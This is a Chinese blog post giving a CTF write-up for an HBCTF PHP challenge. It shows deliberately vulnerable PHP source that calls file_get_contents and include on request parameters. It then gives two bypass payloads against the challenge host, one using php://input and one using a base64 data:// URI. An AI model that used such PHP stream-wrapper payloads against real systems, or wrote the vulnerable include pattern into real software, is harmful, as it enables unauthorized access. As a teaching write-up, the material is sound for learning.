[CTF]No.0002 莫桑比克-php是最好的语言(待完善)

莫桑比克-php是最好的语言

来源:HBCTF第一场WP
类别:php伪协议、data协议
来源:http://www.moonsos.com/post/256.html
用到工具:HxD(16进制编辑器) 或 winhex
     WINRAR 或 好压 (查看 CRC32)

题目地址:http://123.206.66.106(已失效)

右击查看源码

you are not admin ! 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

方法一:

先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,可以利用php伪协议:

http://123.206.66.106/index.php?user=php://input

同时利用Hackbar(一个火狐插件)发送post数据为

the user is admin

方法二:

也可以利用data协议:

http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
dGhlIHVzZXIgaXMgYWRtaW4= base64解码后为the user is admin

得到如图界面:

查看源码得到flag

参考

file_get_contents()
php://
data://

原文:米安网

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值